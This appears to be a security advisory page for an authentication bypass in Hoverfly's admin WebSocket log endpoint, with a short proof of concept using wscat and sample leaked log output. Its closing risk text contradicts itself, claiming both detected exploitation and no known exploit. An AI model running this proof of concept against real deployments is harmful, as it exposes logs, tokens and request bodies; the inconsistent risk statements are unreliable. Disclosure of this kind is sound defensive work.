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GHSA-jxmr-2h4q-rhxp
No affected components available
Summary
Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can:
- Stream real-time application logs (information disclosure).
- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.
PoC
- Start Hoverfly with authentication enabled:
./hoverfly -auth
- Confirm REST API requires credentials:
curl -i http://localhost:8888/api/v2/hoverfly/version
- Connect to the WebSocket endpoint without credentials:
wscat -c ws://localhost:8888/api/v2/ws/logs
# Connected (press CTRL+C to quit)
# … logs stream immediately … (You would need to send a message to start receiving stream)
wscat -c ws://localhost:8888/api/v2/ws/logs
Connected (press CTRL+C to quit)
> hi!
< {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]}
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Impact
Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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